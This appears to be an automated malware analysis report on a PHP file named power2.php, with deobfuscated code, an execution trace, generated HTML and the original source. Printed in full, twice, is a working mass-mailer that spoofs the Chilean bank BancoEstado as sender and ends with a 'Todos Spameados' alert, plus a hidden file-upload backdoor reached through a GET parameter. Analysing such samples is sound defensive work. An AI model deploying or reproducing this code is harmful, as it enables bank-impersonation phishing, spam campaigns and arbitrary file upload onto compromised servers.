power2.php

md5: 20f18c87818fdbca8d579fd642a216c3

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Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Emails
piwin3t2016@hotmail.com (Deobfuscated, Original, Traces)
sendmail@bancoestado.cl (Deobfuscated, Original, Traces)

Environment
set_time_limit (Deobfuscated, Original, Traces)

Files
copy (Deobfuscated, Original)

Input
_FILES (Deobfuscated, Original)
_GET (Deobfuscated, Original)
_POST (Deobfuscated, Original)

Title
Mailer_2015 (Deobfuscated, HTML, Original)

Deobfuscated PHP code
<?php

@set_time_limit(0);
if (isset($_POST['Enoc'])) {
    $message = $_POST['html'];
    $subject = $_POST['assunto'];
    $de = $_POST['de'];
    $nombre = $_POST['RealName'];
    $ellos = $_POST['ellos'];
    $message = urlencode($message);
    $message = ereg_replace("%5C%22", "%22", $message);
    $message = urldecode($message);
    $message = stripslashes($message);
} else {
    $testa = "";
    $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
    $subject = $_SERVER["HTTP_HOST"];
    $nombre = "BancoEstado";
    $de = "sendmail@bancoestado.cl";
    $ellos = "piwin3t2016@hotmail.com";
}
?>
<html>
<head>
<title>Mailer_2015</title></head>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal"> 
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email:   <input name="de" type="text" class="form" id="de" size="30" value="<?php 
print $de;
?>"></td>
<td>Nombre:   <input name="RealName" type="text" class="form" id="RealName" size="30" value="<?php 
print $nombre;
?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<?php 
print $subject;
?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<td>
<textarea name="html" cols="66" rows="10" id="html"><?php 
print $message;
?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php 
print $ellos;
?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><center>
<br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php 
if ($_GET['sec'] == 'yess') {
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">\r\n        <input name=\"archivo\" type=\"file\" size=\"35\" />\r\n        <input name=\"enviar\" type=\"submit\" value=\"Upload File\" />\r\n        <input name=\"action\" type=\"hidden\" value=\"upload\" />     \r\n\t</form>";
    $status = "";
    if ($_POST["action"] == "upload") {
        $tamano = $_FILES["archivo"]['size'];
        $tipo = $_FILES["archivo"]['type'];
        $archivo = $_FILES["archivo"]['name'];
        if ($archivo != "") {
            if (copy($_FILES['archivo']['tmp_name'], "./" . $archivo)) {
                $status = "Archivo subido: <b>" . $archivo . "</b>";
            } else {
                $status = "Error al subir el archivo";
            }
        } else {
            $status = "Error al subir archivo";
        }
        echo $status;
    }
}
if (!isset($_POST['Enoc'])) {
    exit;
}
if (!isset($_GET['c'])) {
    $email = explode("\n", $ellos);
} else {
    $email = explode(",", $ellos);
}
$son = count($email);
if (!isset($_GET['e'])) {
    $header = "MIME-Version: 1.0\n";
    $header = "MIME-Version: 1.0\nContent-type: text/html; charset=iso-8859-1\n";
    $header .= "From: " . $nombre . " <" . $de . ">\n";
    $header .= "Reply-To: " . $de . "\n";
    $header .= "X-Priority: 3\n";
    $header .= "X-MSMail-Priority: Normal\n";
    $header .= "X-Mailer: " . $_SERVER["HTTP_HOST"];
} else {
    $header = "MIME-Version: 1.0\r\n";
    $header = "MIME-Version: 1.0\r\nContent-type: text/html\r\n";
    $header .= "From: " . $de;
}
$i = 0;
$voy = 1;
while ($email[$i]) {
    if (isset($_GET['time']) && isset($_GET['cant'])) {
        if (fmod($i, $_GET['cant']) == 0 && $i > 0) {
            print "----------------------------------> wait " . $_GET['time'] . " Segs. Sending to " . $_GET['notf'] . "...<br>\n";
            flush();
            @mail($_GET['notf'], $subject, $message, $header);
            sleep($_GET['time']);
        }
    }
    $mail = str_replace(array("\n", "\r\n"), '', $email[$i]);
    $message1 = ereg_replace("%email%", $mail, $message);
    if (@mail($mail, $subject, $message1, $header)) {
        print "<font color=blue face=verdana size=1>    " . $voy . " de " . $son . "  ;-) " . trim($mail) . "  okey dokey!</font><br>\n";
        flush();
    } else {
        print "<font color=red face=verdana size=1>    " . $voy . " de " . $son . ":-( " . trim($mail) . "  Error te digo altoquesein!!</font><br>\n";
        flush();
    }
    $i++;
    $voy++;
}
echo "<script> alert('---Todos Spameados---'); </script>";
?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</form>
</center>
</html>
Execution traces
data/traces/20f18c87818fdbca8d579fd642a216c3_trace-1676259352.3735.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:36:18.271354]
1	0	1	0.000135	393528
1	3	0	0.000302	415464	{main}	1		/var/www/html/uploads/power2.php	0	0
2	4	0	0.000320	415464	set_time_limit	0		/var/www/html/uploads/power2.php	2	1	0
2	4	1	0.000337	415528
2	4	R			FALSE
1		A						/var/www/html/uploads/power2.php	17	$testa = ''
1		A						/var/www/html/uploads/power2.php	18	$message = '<html><body><h1>hola my friend, How are u ?</h1></body></html>'
1		A						/var/www/html/uploads/power2.php	19	$subject = 'localhost'
1		A						/var/www/html/uploads/power2.php	20	$nombre = 'BancoEstado'
1		A						/var/www/html/uploads/power2.php	21	$de = 'sendmail@bancoestado.cl'
1		A						/var/www/html/uploads/power2.php	22	$ellos = 'piwin3t2016@hotmail.com'
			0.000455	336312
TRACE END   [2023-02-13 01:36:18.271700]

Generated HTML code
<html><head>
<title>Mailer_2015</title></head>

<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal"> 
<tbody><tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tbody><tr>
<td>
<table border="0" width="100%">
<tbody><tr>
<td width="359">Email:   <input name="de" type="text" class="form" id="de" size="30" value="<? print $de; ?>"></td>
<td>Nombre:   <input name="RealName" type="text" class="form" id="RealName" size="30" value="<? print $nombre; ?>"></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<? print $subject; ?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tbody><tr>
<td>
<textarea name="html" cols="66" rows="10" id="html">&lt;? print $message; ?&gt;</textarea></td>
<td><textarea rows="10" name="ellos" cols="35">&lt;? print $ellos; ?&gt;</textarea></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td><center>
<br><input type="submit" name="Enoc" value="Enviar"></center><br>
</td></tr></tbody></table></td></tr></tbody></table></form></center></body></html>
Original PHP code
<?php
@set_time_limit(0);
if(isset($_POST['Enoc']))
{
	$message = $_POST['html'];
	$subject = $_POST['assunto'];
	$de = $_POST['de'];
	$nombre = $_POST['RealName'];
	$ellos = $_POST['ellos'];

	$message = urlencode($message);
	$message = ereg_replace("%5C%22", "%22", $message);
	$message = urldecode($message);
	$message = stripslashes($message);

}else{
	$testa ="";
	$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
	$subject = $_SERVER["HTTP_HOST"];
	$nombre = "BancoEstado";
	$de = "sendmail@bancoestado.cl";
	$ellos = "piwin3t2016@hotmail.com";
}
?>
<html>
<head>
<title>Mailer_2015</title></head>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal"> 
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email:   <input name="de" type="text" class="form" id="de" size="30" value="<? print $de; ?>"></td>
<td>Nombre:   <input name="RealName" type="text" class="form" id="RealName" size="30" value="<? print $nombre; ?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<? print $subject; ?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<td>
<textarea name="html" cols="66" rows="10" id="html"><? print $message; ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><? print $ellos; ?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><center>
<br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
if($_GET['sec']=='yess')
{
	echo '<form action="" method="post" enctype="multipart/form-data">
        <input name="archivo" type="file" size="35" />
        <input name="enviar" type="submit" value="Upload File" />
        <input name="action" type="hidden" value="upload" />     
	</form>';

	$status = "";
	if ($_POST["action"] == "upload")
	{
		$tamano = $_FILES["archivo"]['size'];
		$tipo = $_FILES["archivo"]['type'];
		$archivo = $_FILES["archivo"]['name'];
         
		if ($archivo != "")
		{
			if (copy($_FILES['archivo']['tmp_name'],"./".$archivo))
			{
				$status = "Archivo subido: <b>".$archivo."</b>";
			}else{
				$status = "Error al subir el archivo";
			}
		} else {
			$status = "Error al subir archivo";
		}
		echo $status;
	}
}
if(!isset($_POST['Enoc'])){
	exit;
}

if(!isset($_GET['c']))
{
	$email = explode("\n", $ellos);
}else{
	$email = explode(",", $ellos);
}
$son = count($email);

if(!isset($_GET['e'])){
	$header = "MIME-Version: 1.0\n";
	$header .= "Content-type: text/html; charset=iso-8859-1\n";
	$header .= "From: ".$nombre . " <" . $de . ">\n";
	$header .= "Reply-To: " . $de . "\n";
	$header .= "X-Priority: 3\n";
	$header .= "X-MSMail-Priority: Normal\n";
	$header .= "X-Mailer: ".$_SERVER["HTTP_HOST"];
}else{
	$header ='MIME-Version: 1.0' . "\r\n";
	$header .= 'Content-type: text/html' . "\r\n";
	$header .="From: ".$de;
}
$i = 0;
$voy=1;
while($email[$i])
{
	if(isset($_GET['time']) && isset($_GET['cant'])){
		if(fmod($i,$_GET['cant'])==0 && $i>0){
			print "----------------------------------> wait ".$_GET['time']." Segs. Sending to ".$_GET['notf']."...<br>\n";
			flush();
			@mail($_GET['notf'], $subject, $message, $header);
			sleep($_GET['time']);
		}
	}
	$mail = str_replace(array("\n","\r\n"),'',$email[$i]);
        $message1 = ereg_replace("%email%", $mail, $message);
	if(@mail($mail, $subject, $message1, $header))
	{
		print "<font color=blue face=verdana size=1>    ".$voy." de ".$son."  ;-) ".trim($mail)."  okey dokey!</font><br>\n";
		flush();
	}
	else
	{
		print "<font color=red face=verdana size=1>    ".$voy." de ".$son.":-( ".trim($mail)."  Error te digo altoquesein!!</font><br>\n";
		flush();
	}                                                             
	$i++;
	$voy++;
}
echo "<script> alert('---Todos Spameados---'); </script>";
?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</form>
</center>
</html>
PHP Malware Analysis

power2.php

md5: 20f18c87818fdbca8d579fd642a216c3

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
